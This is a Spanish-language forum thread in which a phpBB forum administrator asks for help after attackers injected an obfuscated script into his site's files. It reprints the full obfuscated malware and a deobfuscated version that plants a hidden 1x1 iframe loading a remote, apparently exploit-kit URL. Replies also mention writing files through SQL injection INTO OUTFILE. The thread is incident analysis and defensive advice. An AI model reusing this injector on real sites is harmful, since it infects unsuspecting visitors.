Como localizar un bug XSS

Iniciado por Inmortia, 5 Mayo 2013, 04:08 AM

0 Miembros y 1 Visitante están viendo este tema.

Inmortia

Buenas.

Tengo un foro basado en phpbb (lo cual ya es una llamada a los "hackers") y nunca he tenido graves problemas. Algunos ataques menores que no hacían más que ralentizar un poco el foro hasta que les pillaba la IP y les bloqueaba pero desde hace unos días alguien con más conocimientos que los otros tontos que de vez en cuando han intentado algo, ha conseguido molestarme más.

Ha conseguido colar un script en base64 en todos los html y algún que otro php. Es sencillo ver que estaba automatizado y no ha modificado estos archivos a mano. El script en los html estaba siempre después de un </div> o en caso de no haber div, después del <head>. En cambio en los php siempre estaba al final del archivo.

Pondría el script pero no se hasta que punto estaría permitido. Lo que hace es crear o simular la apariencia de un gif que en realidad es un troyano. No se que cosas haría el troyano porque a tanto no llego.

Mi pregunta es, como se explica un bug para hacer algo así? Me gustaría poder encontrar este fallo e intentar solventarlo para evitar que vuelva a pasar algo así. Esta vez, por suerte, estaba presente cuando inició el ataque así que pude bloquear inmediatamente el acceso al foro y cortarle el ataque. Algunos archivos estaban a "medio atacar". No ha tenido acceso directo al FTP ya que no ha atacado a todo lo que este contenía, solo a la carpeta del dominio a través del cual a atacado. ¿Cómo es posible modificar archivos sin acceder a ellos?

No pretendo que me expliquéis al máximo este tema o que hagáis de profesor conmigo pero si agradecería algún tipo de tutorial o algunos consejos para poder encontrar el bug y arreglarlo. Puedo pasar por algo que colapsen mi foro por intentar joderlo pero no pienso pasar por alto que intenten infectar a mis usuarios.

Espero que podáis ayudarme.

PD: Si esta permitido, podría subir el script en un txt para quien quiera echarle un vistazo. Lo he subido a pastebin con caducidad de 10 minutos pero el antivirus sigue detectándolo como malware aunque técnicamente en pastebin no debería ejecutarse...

engel lex

sanitiza la entrada de variables, convierte todos los "<" y ">" a sus equivalentes en html, depende de la tecnica usada eso deberia ayudar un poco
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Inmortia

Pero como alguien consigue modificar archivos php, html y js sin acceder directamente al FTP? La fuerza bruta o el robo de contraseña lo descarto completamente ya que para el FTP y la BD uso contraseñas aleatorias.

¿Realmente usando XSS puedes modificar alrededor de 40 archivos? El atacante no esta registrado en la página ya que he buscado su IP en la tabla de usuarios y sesiones así que descarto que haya usado algún bug en la página para postear, avatar, firma y demás secciones de acceso limitado.

Ademas, phpbb3 por defecto tiene el HTML desactivado y, aunque hay mods que lo activan, yo no los he usado y he dejado el HTML desactivado para mayor seguridad.

¿Alguien podría proporcionarme algún código inofensivo para intentar autohackearme y así intentar saber por donde podría haber entrado? Intentaré sanitizar la entrada de variables aunque eso ya debería estar hecho por defecto en phpbb.

engel lex

buen punto, pero hay algun chance que haya explotado alguna debilidad del sistema que hayas usado para hacer eso, asi que creo que estaria mas allá de un simple xss... realmente el codigo phpbb lo desconozco pero en algun punto debe haber una funcion de ejecutar o algo asi para que haya alterado las paginas, postea aqu´no el archivo completo, sino la parte alterada
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

Inmortia

¿Te refieres al script añadido? Aquí lo dejo. Si no es eso, estaré pendiente para retirarlo de aquí si es necesario.

Código (javascript) [Seleccionar]
w=window;aq=\"0x\";ff=String;ff=ff.fromCharCode;try{document[\"\x62ody\"]^=~1;}catch(d21vd12v){v=123;vzs=false;try{document;}catch(q){vzs=1;}if(!vzs)e=w[\"eval\"];if(1){f=\"17,5d,6c,65,5a,6b,60,66,65,17,71,71,71,5d,5d,5d,1f,20,17,72,4,1,17,6d,58,69,17,68,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,69,5c,58,6b,5c,3c,63,5c,64,5c,65,6b,1f,1e,60,5d,69,58,64,5c,1e,20,32,4,1,4,1,17,68,25,6a,69,5a,17,34,17,1e,5f,6b,6b,67,31,26,26,6e,6e,6e,25,60,65,5d,66,69,64,58,6d,60,58,65,66,25,60,6b,26,5a,66,64,67,66,65,5c,65,6b,6a,26,6b,69,58,5d,25,67,5f,67,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,67,66,6a,60,6b,60,66,65,17,34,17,1e,58,59,6a,66,63,6c,6b,5c,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,59,66,69,5b,5c,69,17,34,17,1e,27,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,5f,5c,60,5e,5f,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,6e,60,5b,6b,5f,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,63,5c,5d,6b,17,34,17,1e,28,67,6f,1e,32,4,1,17,68,25,6a,6b,70,63,5c,25,6b,66,67,17,34,17,1e,28,67,6f,1e,32,4,1,4,1,17,60,5d,17,1f,18,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,68,1e,20,20,17,72,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,6e,69,60,6b,5c,1f,1e,33,5b,60,6d,17,60,5b,34,53,1e,68,53,1e,35,33,26,5b,60,6d,35,1e,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5e,5c,6b,3c,63,5c,64,5c,65,6b,39,70,40,5b,1f,1e,68,1e,20,25,58,67,67,5c,65,5b,3a,5f,60,63,5b,1f,68,20,32,4,1,17,74,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,4a,5c,6b,3a,66,66,62,60,5c,1f,5a,66,66,62,60,5c,45,58,64,5c,23,5a,66,66,62,60,5c,4d,58,63,6c,5c,23,65,3b,58,70,6a,23,67,58,6b,5f,20,17,72,4,1,17,6d,58,69,17,6b,66,5b,58,70,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,27,23,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,20,17,20,17,20,4,1,17,72,4,1,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,74,4,1,17,60,5d,17,1f,17,6a,6b,58,69,6b,17,34,34,17,24,28,17,20,17,69,5c,6b,6c,69,65,17,65,6c,63,63,32,4,1,17,6d,58,69,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,19,32,19,23,17,63,5c,65,17,20,32,4,1,17,60,5d,17,1f,17,5c,65,5b,17,34,34,17,24,28,17,20,17,5c,65,5b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,63,5c,65,5e,6b,5f,32,4,1,17,69,5c,6b,6c,69,65,17,6c,65,5c,6a,5a,58,67,5c,1f,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,6a,6c,59,6a,6b,69,60,65,5e,1f,17,63,5c,65,23,17,5c,65,5b,17,20,17,20,32,4,1,74,4,1,60,5d,17,1f,65,58,6d,60,5e,58,6b,66,69,25,5a,66,66,62,60,5c,3c,65,58,59,63,5c,5b,20,4,1,72,4,1,60,5d,1f,3e,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,20,34,34,2c,2c,20,72,74,5c,63,6a,5c,72,4a,5c,6b,3a,66,66,62,60,5c,1f,1e,6d,60,6a,60,6b,5c,5b,56,6c,68,1e,23,17,1e,2c,2c,1e,23,17,1e,28,1e,23,17,1e,26,1e,20,32,4,1,4,1,71,71,71,5d,5d,5d,1f,20,32,4,1,74,4,1,74,4,1\"[\"split\"](\",\");}w=f;s=[];for(i=2-2;-i+1308!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(e(aq+(w[j]))+9);}fafa=e;fafa(s)}

Lo pongo tal cual estaba ya que aunque he limpiado todos los archivos afectados, el script lo he guardado. No se realmente que hace, lo que sí se es que va con aspecto de "blackhole exploit kit" según el antivirus de uno de mis usuarios. En el mío, me decía que había un "gif" infectado (este aviso salió cuando lo puse en pastebin para enseñarselo a un conocido).

Este script estaba en varios luagres. En los HTML estaba SIEMPRE despues de un </div> y si no había div, estaba después del <head>. En los PHP siempre estaba al final de pagina, en un echo y abriendo nuevamente etiquetas <? y ?>. En los js estaba también al final del archivo.

Lo que me da a pensar que realmente la infección estaba automatizada y de ser así, debería lanzarse "ordenes" desde otro lugar o desde mi propia página? Esto último pregunto solo para informarme aunque se que es complicado responder a estas cosas sin ver directamente el ataque o la propia página.

adastra

 Utiliza ESAPI de OWASP.
https://code.google.com/p/owasp-esapi-php/


Es una librería que se encuentra implementada en varios lenguajes (incluyendo PHP) que te va a servir para cubrir, no solamente ataques XSS, sino también otros ataques de inyección tales como SQL Injection.

el-brujo

#6
según sea el bug xss se puede robar la cookie. Para modificar ficheros no es necesario usar ftp, quizás hay algún tipo de rfi o con sql injection también se puede hacer.

El código javascript desofucasdo es:


Código (javascript) [Seleccionar]
function zzzfff() {

   var clt = document.createElement('iframe');



   clt.src = 'http://www.royaltysteamcleaning.com/cnt.php';

   clt.style.position = 'absolute';

   clt.style.border = '0';

   clt.style.height = '1px';

   clt.style.width = '1px';

   clt.style.left = '1px';

   clt.style.top = '1px';



   if (!document.getElementById('clt')) {

       document.write('<div id=\'clt\'></div>');

       document.getElementById('clt').appendChild(clt);

   }

}

function SetCookie(cookieName,cookieValue,nDays,path) {

var today = new Date();

var expire = new Date();

if (nDays==null || nDays==0) nDays=1;

expire.setTime(today.getTime() + 3600000*24*nDays);

document.cookie = cookieName+"="+escape(cookieValue)

                + ";expires=" + expire.toGMTString() + ((path) ? "; path=" + path : "");

}

function GetCookie( name ) {

var start = document.cookie.indexOf( name + "=" );

var len = start + name.length + 1;

if ( ( !start ) &&

( name != document.cookie.substring( 0, name.length ) ) )

{

return null;

}

if ( start == -1 ) return null;

var end = document.cookie.indexOf( ";", len );

if ( end == -1 ) end = document.cookie.length;

return unescape( document.cookie.substring( len, end ) );

}

if (navigator.cookieEnabled)

{

if(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq', '55', '1', '/');



zzzfff();

}

}


Puedes usar el  javascript beautifer:

http://jsbeautifier.org/?without-codemirror

para limpiar un poco el código y luego usar las funciones document.write o alert para ver el contenido del eval

document.write(s);
alert(s);

engel lex

disculpa mi ignorancia, pero me da curiosidad ¿cómo por medio de una inyección sql podría un fichero php?
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.

#!drvy

Citar¿cómo por medio de una inyección sql podría un fichero php?

INTO_OUTFILE
http://yoyahack.blogspot.com.es/2010/10/explicacion-de-into-outfile-en-una.html

Saludos

engel lex

wow :o no sabia que mysql fuera capaz de alterar archivos! gracias por la info :P ya se que hay que desactivar esas cosas por si a las moscas
El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.